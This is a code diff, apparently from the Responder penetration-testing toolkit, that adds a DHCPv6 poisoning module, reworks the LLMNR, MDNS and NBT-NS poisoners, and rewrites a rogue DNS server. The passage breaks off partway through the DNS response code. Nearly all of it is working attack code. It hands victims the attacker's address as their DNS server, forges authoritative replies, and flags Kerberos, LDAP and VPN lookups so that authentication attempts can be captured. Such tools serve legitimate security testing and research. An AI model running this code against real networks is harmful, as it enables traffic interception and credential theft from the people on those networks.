soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -96,14 +105,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],

View File

@@ -64,7 +64,9 @@ class MDNS(BaseRequestHandler):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],

View File

@@ -36,7 +36,9 @@ class NBTNS(BaseRequestHandler):
if data[2:4] == b'\x01\x10':
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],

30
pyproject.toml Normal file
View File

@@ -0,0 +1,30 @@
[build-system]
requires = ["pdm-backend >= 2.4.0"]
build-backend = "pdm.backend"
[project]
name = "Responder-poisoner" # "responder" is already taken
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
readme = "README.md"
license = "GPL-3.0-only"
license-files = ["LICENSE"]
dynamic = ["version"]
dependencies = ["aioquic", "netifaces>=0.10.4"]
classifiers = [
"Operating System :: MacOS",
"Operating System :: POSIX :: Linux",
"Topic :: Security"
]
[project.urls]
Homepage = "https://github.com/lgandx/Responder"
Issues = "https://github.com/lgandx/Responder/issues"
[project.scripts]
responder = "Responder:main"
[tool.pdm.build]
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
[tool.pdm.version]
source = "scm"

View File

@@ -1 +1,2 @@
aioquic
netifaces>=0.10.4

471
servers/DHCPv6.py Normal file
View File

@@ -0,0 +1,471 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# DHCPv6 poisoning module based on mitm6 concepts by Dirk-jan Mollema
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import socket
import time
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# DHCPv6 Message Types
DHCPV6_SOLICIT = 1
DHCPV6_ADVERTISE = 2
DHCPV6_REQUEST = 3
DHCPV6_CONFIRM = 4
DHCPV6_RENEW = 5
DHCPV6_REBIND = 6
DHCPV6_REPLY = 7
DHCPV6_RELEASE = 8
DHCPV6_DECLINE = 9
DHCPV6_INFORMATION_REQUEST = 11
# DHCPv6 Option Codes
OPTION_CLIENTID = 1
OPTION_SERVERID = 2
OPTION_IA_NA = 3
OPTION_IA_TA = 4
OPTION_IAADDR = 5
OPTION_ORO = 6
OPTION_PREFERENCE = 7
OPTION_ELAPSED_TIME = 8
OPTION_RELAY_MSG = 9
OPTION_AUTH = 11
OPTION_UNICAST = 12
OPTION_STATUS_CODE = 13
OPTION_RAPID_COMMIT = 14
OPTION_USER_CLASS = 15
OPTION_VENDOR_CLASS = 16
OPTION_VENDOR_OPTS = 17
OPTION_INTERFACE_ID = 18
OPTION_RECONF_MSG = 19
OPTION_RECONF_ACCEPT = 20
OPTION_DNS_SERVERS = 23
OPTION_DOMAIN_LIST = 24
class DHCPv6State:
def __init__(self):
self.leases = {}
self.start_time = time.time()
self.poisoned_count = 0
def add_lease(self, client_id, ipv6_addr, mac):
self.leases[client_id] = {
'ipv6': ipv6_addr,
'mac': mac,
'lease_time': time.time(),
'lease_duration': 120
}
self.poisoned_count += 1
dhcpv6_state = DHCPv6State()
class DHCPv6(BaseRequestHandler):
def handle(self):
try:
data, socket_obj = self.request
if len(data) < 4:
return
msg_type = data[0]
transaction_id = data[1:4]
if msg_type not in [DHCPV6_SOLICIT, DHCPV6_REQUEST, DHCPV6_CONFIRM, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_INFORMATION_REQUEST]:
return
options = self.parse_dhcpv6_options(data[4:])
client_id = options.get(OPTION_CLIENTID)
if not client_id:
return
client_mac = self.extract_mac_from_clientid(client_id)
if not self.should_poison_client():
return
msg_type_name = self.get_message_type_name(msg_type)
if settings.Config.Verbose:
print(text('[DHCPv6] %s from %s (MAC: %s)' % (
msg_type_name,
self.client_address[0],
client_mac if client_mac else 'Unknown'
)))
# Build response based on message type
if msg_type == DHCPV6_SOLICIT:
response = self.build_advertise(transaction_id, options)
response_type = 'ADVERTISE'
elif msg_type == DHCPV6_REQUEST:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY'
elif msg_type == DHCPV6_RENEW:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY (Renew)'
elif msg_type == DHCPV6_REBIND:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY (Rebind)'
elif msg_type == DHCPV6_CONFIRM:
response = self.build_confirm_reply(transaction_id, options)
response_type = 'REPLY (Confirm)'
elif msg_type == DHCPV6_INFORMATION_REQUEST:
response = self.build_info_reply(transaction_id, options)
response_type = 'REPLY (Info)'
else:
return
socket_obj.sendto(response, self.client_address)
analyze_mode = getattr(settings.Config, 'Analyze', False)
if analyze_mode:
print(color('[Analyze] [DHCPv6] Would send %s to %s' % (response_type, self.client_address[0]), 3, 1))
else:
attacker_ip = self.get_attacker_ipv6()
print(text('[DHCPv6] Sent %s to %s' % (response_type, self.client_address[0])))
if msg_type in [DHCPV6_REQUEST, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_SOLICIT]:
print(text('[DHCPv6] Poisoned DNS server: %s' % attacker_ip))
except Exception as e:
if settings.Config.Verbose:
print(color('[!] [DHCPv6] Error: %s' % str(e), 1, 1))
import traceback
traceback.print_exc()
def should_poison_client(self):
return True
def parse_dhcpv6_options(self, options_data):
options = {}
offset = 0
while offset < len(options_data) - 4:
option_code = struct.unpack('!H', options_data[offset:offset+2])[0]
option_len = struct.unpack('!H', options_data[offset+2:offset+4])[0]
option_data = options_data[offset+4:offset+4+option_len]
options[option_code] = option_data
offset += 4 + option_len
return options
def extract_mac_from_clientid(self, client_id):
try:
if len(client_id) < 2:
return None
duid_type = struct.unpack('!H', client_id[0:2])[0]
if duid_type == 1 and len(client_id) >= 14:
mac = client_id[8:14]
return ':'.join(['%02x' % b for b in bytearray(mac)])
elif duid_type == 3 and len(client_id) >= 8:
mac = client_id[4:10]
return ':'.join(['%02x' % b for b in bytearray(mac)])
except:
pass
return None
def get_attacker_ipv6(self):
"""Get attacker's link-local IPv6 address derived from IPv4"""
# mitm6 technique: use link-local address with decimal octets
# Example: 10.207.212.254 -> fe80::a:cf:d4:fe (hex) or similar pattern
# Actually based on your example, it seems to generate a different link-local
# Let's use the actual Bind_To6 if available, otherwise construct one
try:
# Try to get actual link-local from interface
import netifaces
iface = settings.Config.Interface
addrs = netifaces.ifaddresses(iface)
if netifaces.AF_INET6 in addrs:
for addr_info in addrs[netifaces.AF_INET6]:
addr = addr_info.get('addr', '').split('%')[0]
# Return link-local address (fe80::)
if addr.startswith('fe80::'):
return addr
except:
pass
# Fallback: construct from IPv4
try:
ipv4 = settings.Config.Bind_To
octets = ipv4.split('.')
# Use hex conversion for DNS server address
ipv6 = 'fe80::%x:%x:%x:%x' % (
int(octets[0]), int(octets[1]),
int(octets[2]), int(octets[3])
)
return ipv6
except:
return 'fe80::1'
def generate_client_ipv6(self):
"""Generate client's link-local IPv6 address from attacker's IPv4"""
# mitm6 technique: fe80::<octet1>:<octet2>:<octet3>:254
# Example: 10.207.212.254 -> fe80::10:207:212:254
try:
ipv4 = settings.Config.Bind_To
octets = ipv4.split('.')
# Use decimal octets (base 10) separated by colons, last octet is always 254
ipv6 = 'fe80::%s:%s:%s:254' % (octets[0], octets[1], octets[2])
return ipv6
except:
return 'fe80::1:2:3:4'
def build_advertise(self, transaction_id, options):
msg = bytes([DHCPV6_ADVERTISE]) + transaction_id
# Client ID first
if OPTION_CLIENTID in options:
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID - DUID Type 3 (link-layer only, not link-layer + time)
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option - use link-local address
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# IA_NA if requested
if OPTION_IA_NA in options:
ia_na_option = self.build_ia_na_option(options[OPTION_IA_NA])
msg += self.build_option(OPTION_IA_NA, ia_na_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_reply(self, transaction_id, options, client_id, client_mac):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID - DUID Type 3
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option - use link-local address
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# IA_NA if requested - reuse the address from request if present
if OPTION_IA_NA in options:
ia_na_option = self.build_ia_na_option_reply(options[OPTION_IA_NA])
msg += self.build_option(OPTION_IA_NA, ia_na_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
# Track this lease
ipv6_addr = self.generate_client_ipv6()
dhcpv6_state.add_lease(client_id, ipv6_addr, client_mac)
return msg
def build_info_reply(self, transaction_id, options):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
if OPTION_CLIENTID in options:
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_confirm_reply(self, transaction_id, options):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# Status Code: Success (0)
status_code = struct.pack('!H', 0)
msg += self.build_option(OPTION_STATUS_CODE, status_code)
# DNS servers option
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_option(self, code, data):
return struct.pack('!HH', code, len(data)) + data
def get_server_duid(self):
"""Get server DUID - Type 3 (link-layer only) like mitm6"""
duid_type = 3 # DUID-LL (link-layer only)
hw_type = 1 # Ethernet
# Get actual MAC address from interface
try:
import netifaces
iface = settings.Config.Interface
addrs = netifaces.ifaddresses(iface)
if netifaces.AF_LINK in addrs:
mac_str = addrs[netifaces.AF_LINK][0]['addr']
# Convert MAC string to bytes
mac = bytes([int(x, 16) for x in mac_str.split(':')])
else:
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
except:
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
# DUID Type 3 format: type (2) + hardware type (2) + link-layer address
duid = struct.pack('!HH', duid_type, hw_type) + mac
return duid
def build_ia_na_option(self, request_ia_na):
"""Build IA_NA option with link-local address for ADVERTISE"""
iaid = request_ia_na[0:4]
# Short lease times like mitm6
t1 = 200
t2 = 250
ia_na = iaid + struct.pack('!II', t1, t2)
# Add IAADDR sub-option with link-local address
ipv6_addr = self.generate_client_ipv6()
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
ia_na += iaaddr
return ia_na
def build_ia_na_option_reply(self, request_ia_na):
"""Build IA_NA option for REPLY/RENEW/REBIND - reuse client's address if present"""
iaid = request_ia_na[0:4]
# Short lease times like mitm6
t1 = 200
t2 = 250
ia_na = iaid + struct.pack('!II', t1, t2)
# Try to extract existing address from request
ipv6_addr = None
try:
# Parse IA_NA options to find IAADDR
offset = 12 # Skip IAID + T1 + T2
while offset < len(request_ia_na) - 4:
opt_code = struct.unpack('!H', request_ia_na[offset:offset+2])[0]
opt_len = struct.unpack('!H', request_ia_na[offset+2:offset+4])[0]
if opt_code == OPTION_IAADDR and opt_len >= 16:
# Extract IPv6 address (first 16 bytes of option data)
import ipaddress
addr_bytes = request_ia_na[offset+4:offset+20]
ipv6_addr = str(ipaddress.IPv6Address(addr_bytes))
break
offset += 4 + opt_len
except:
pass
# If no address found in request, generate new one
if not ipv6_addr:
ipv6_addr = self.generate_client_ipv6()
# Add IAADDR sub-option
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
ia_na += iaaddr
return ia_na
def build_iaaddr_option(self, ipv6_addr, lease_time):
"""Build IAADDR option"""
import ipaddress
addr_bytes = ipaddress.IPv6Address(ipv6_addr).packed
# Format: IPv6 address (16) + preferred-lifetime (4) + valid-lifetime (4)
iaaddr_data = addr_bytes + struct.pack('!II', lease_time, lease_time)
# Wrap in option
return struct.pack('!HH', OPTION_IAADDR, len(iaaddr_data)) + iaaddr_data
def build_dns_servers_option(self):
"""Build DNS Servers option - use link-local address like mitm6"""
import ipaddress
attacker_ipv6 = self.get_attacker_ipv6()
dns_bytes = ipaddress.IPv6Address(attacker_ipv6).packed
return dns_bytes
def build_domain_list_option(self, domains):
domain_data = b''
for domain in domains:
labels = domain.split('.')
for label in labels:
domain_data += bytes([len(label)]) + label.encode('ascii')
domain_data += b'\x00'
return domain_data
def get_message_type_name(self, msg_type):
types = {
DHCPV6_SOLICIT: 'SOLICIT',
DHCPV6_ADVERTISE: 'ADVERTISE',
DHCPV6_REQUEST: 'REQUEST',
DHCPV6_CONFIRM: 'CONFIRM',
DHCPV6_RENEW: 'RENEW',
DHCPV6_REBIND: 'REBIND',
DHCPV6_REPLY: 'REPLY',
DHCPV6_RELEASE: 'RELEASE',
DHCPV6_DECLINE: 'DECLINE',
DHCPV6_INFORMATION_REQUEST: 'INFORMATION_REQUEST'
}
return types.get(msg_type, 'UNKNOWN(%d)' % msg_type)
def print_dhcpv6_stats():
if dhcpv6_state.poisoned_count > 0:
runtime = int(time.time() - dhcpv6_state.start_time)
print(color('\n[DHCPv6] Statistics:', 2, 1))
print(color(' Clients poisoned: %d' % dhcpv6_state.poisoned_count, 2, 1))
print(color(' Active leases: %d' % len(dhcpv6_state.leases), 2, 1))
print(color(' Runtime: %d seconds' % runtime, 2, 1))

742
servers/DNS.py Executable file → Normal file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,121 +14,655 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Features:
# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries
# - OPT record (EDNS0) support for modern DNS clients
# - SOA records to appear as authoritative DNS server
# - MX record poisoning for email client authentication capture
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
# - Logs interesting authentication-related domains
# - Short TTL (60s) to ensure frequent re-queries
# - IPv6 support for modern networks
# - Domain filtering to target specific domains only
#
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
import struct
import socket
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer.
elif QueryTypeClass == "\x00\x01\x00\x01":
return "A"
elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
class DNS(BaseRequestHandler):
"""
Enhanced DNS server for Responder
Redirects DNS queries to attacker's IP to force authentication attempts
"""
def handle(self):
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
data, socket_obj = self.request
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
answer_rrs = struct.unpack('>H', data[6:8])[0]
authority_rrs = struct.unpack('>H', data[8:10])[0]
additional_rrs = struct.unpack('>H', data[10:12])[0]
# Check if it's a query (QR bit = 0)
if flags & 0x8000:
return # It's a response, ignore
# Parse question section
query_name, query_type, query_class, offset = self.parse_question(data, 12)
if not query_name:
return
# Check for OPT record in additional section
opt_record = None
if additional_rrs > 0:
opt_record = self.parse_opt_record(data, offset)
# Log the query
if settings.Config.Verbose:
query_type_name = self.get_type_name(query_type)
opt_info = ''
if opt_record:
opt_info = ' [EDNS0: UDP=%d, DO=%s]' % (
opt_record['udp_size'],
'Yes' if opt_record['dnssec_ok'] else 'No'
)
print(text('[DNS] Query from %s: %s (%s)%s' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name,
opt_info
)))
# Check if we should respond to this query
if not self.should_respond(query_name, query_type):
return
# Build response
response = self.build_response(
transaction_id,
query_name,
query_type,
query_class,
data,
opt_record
)
if response:
socket_obj.sendto(response, self.client_address)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
target_ip = self.get_target_ip(query_type)
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error: %s' % str(e)))
def parse_question(self, data, offset):
"""Parse DNS question section and return domain name, type, class"""
try:
# Parse domain name (labels)
labels = []
original_offset = offset
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
# Check for compression pointer
if (length & 0xC0) == 0xC0:
# Compression pointer, stop here
offset += 2
break
offset += 1
if offset + length > len(data):
return None, None, None, offset
label = data[offset:offset+length].decode('utf-8', errors='ignore')
labels.append(label)
offset += length
domain_name = '.'.join(labels)
# Parse type and class
if offset + 4 > len(data):
return None, None, None, offset
query_type = struct.unpack('>H', data[offset:offset+2])[0]
query_class = struct.unpack('>H', data[offset+2:offset+4])[0]
offset += 4
return domain_name, query_type, query_class, offset
except:
return None, None, None, offset
def parse_opt_record(self, data, offset):
"""
Parse OPT pseudo-RR from additional section (EDNS0)
OPT RR format:
- NAME: domain name (should be root: 0x00)
- TYPE: OPT (41)
- CLASS: requestor's UDP payload size
- TTL: extended RCODE and flags (4 bytes)
- Byte 0: Extended RCODE
- Byte 1: EDNS version
- Bytes 2-3: Flags (bit 15 = DNSSEC OK)
- RDLENGTH: length of RDATA
- RDATA: {attribute, value} pairs
"""
try:
# Skip any answer/authority records to get to additional section
# For simplicity, we'll scan for OPT record (TYPE=41)
while offset < len(data):
# Check if we're at a name
if offset >= len(data):
return None
# Skip name (could be label or pointer)
name_start = offset
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
offset += 2
break
offset += length + 1
# Check if we have enough data for type, class, ttl, rdlength
if offset + 10 > len(data):
return None
rr_type = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
if rr_type == 41: # OPT record found
udp_payload_size = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
# TTL field contains extended RCODE and flags
ttl_bytes = data[offset:offset+4]
extended_rcode = ttl_bytes[0]
edns_version = ttl_bytes[1]
flags = struct.unpack('>H', ttl_bytes[2:4])[0]
dnssec_ok = bool(flags & 0x8000) # DO bit
offset += 4
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
# RDATA contains option codes (we'll just skip for now)
rdata = data[offset:offset+rdlength] if rdlength > 0 else b''
return {
'udp_size': udp_payload_size,
'extended_rcode': extended_rcode,
'edns_version': edns_version,
'dnssec_ok': dnssec_ok,
'rdata': rdata
}
else:
# Skip this RR
offset += 2 # class
offset += 4 # ttl
if offset + 2 > len(data):
return None
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2 + rdlength
return None
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error parsing OPT record: %s' % str(e)))
return None
def should_respond(self, query_name, query_type):
"""Determine if we should respond to this DNS query"""
# Don't respond to empty queries
if not query_name:
return False
# Domain filtering - only respond to configured domain if set
if hasattr(settings.Config, 'DHCPv6_Domain') and settings.Config.DHCPv6_Domain:
target_domain = settings.Config.DHCPv6_Domain.lower().strip()
query_lower = query_name.lower().strip('.')
# Check if query matches domain or is a subdomain
if not (query_lower == target_domain or query_lower.endswith('.' + target_domain)):
if settings.Config.Verbose:
print(text('[DNS] Ignoring query for %s (not in target domain %s)' % (
query_name, target_domain)))
return False
# Log that we're responding to a filtered domain
if settings.Config.Verbose:
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
# Respond to these query types:
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
# SVCB (64), HTTPS (65) - Service Binding records
supported_types = [1, 6, 15, 16, 28, 33, 64, 65, 255]
if query_type not in supported_types:
return False
# Check if domain is in analyze mode targets
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
#if hasattr(settings.Config, 'AnalyzeMode'):
#if settings.Config.AnalyzeMode:
# In analyze mode, log but don't respond
#return False
# Log interesting queries (authentication-related domains)
query_lower = query_name.lower()
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
if any(pattern in query_lower for pattern in interesting_patterns):
SaveToDb({
'module': 'DNS',
'type': 'Interesting-Query',
'client': self.client_address[0].replace('::ffff:', ''),
'hostname': query_name,
'fullhash': query_name
})
# Respond to everything that passed the filters
return True
def build_response(self, transaction_id, query_name, query_type, query_class, original_data, opt_record=None):
"""Build DNS response packet with optional OPT record support"""
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
# DNS Header
response = transaction_id # Transaction ID
# Flags: Response, Authoritative, No error
flags = 0x8400 # Standard query response, authoritative
response += struct.pack('>H', flags)
# Questions, Answers, Authority RRs, Additional RRs
response += struct.pack('>H', 1) # 1 question
response += struct.pack('>H', 1) # 1 answer
response += struct.pack('>H', 0) # 0 authority
# Additional RRs count (1 if we have OPT record)
additional_count = 1 if opt_record else 0
response += struct.pack('>H', additional_count)
# Question section (copy from original query)
# Find question section in original data
question_start = 12
question_end = question_start
# Skip to end of domain name
while question_end < len(original_data):
length = original_data[question_end]
if length == 0:
question_end += 5 # null byte + type (2) + class (2)
break
if (length & 0xC0) == 0xC0:
question_end += 6 # pointer (2) + type (2) + class (2)
break
question_end += length + 1
question_section = original_data[question_start:question_end]
response += question_section
# Answer section
# Name (pointer to question)
response += b'\xc0\x0c' # Pointer to offset 12 (question name)
# Type
response += struct.pack('>H', query_type)
# Class
response += struct.pack('>H', query_class)
# TTL (short to ensure frequent re-queries)
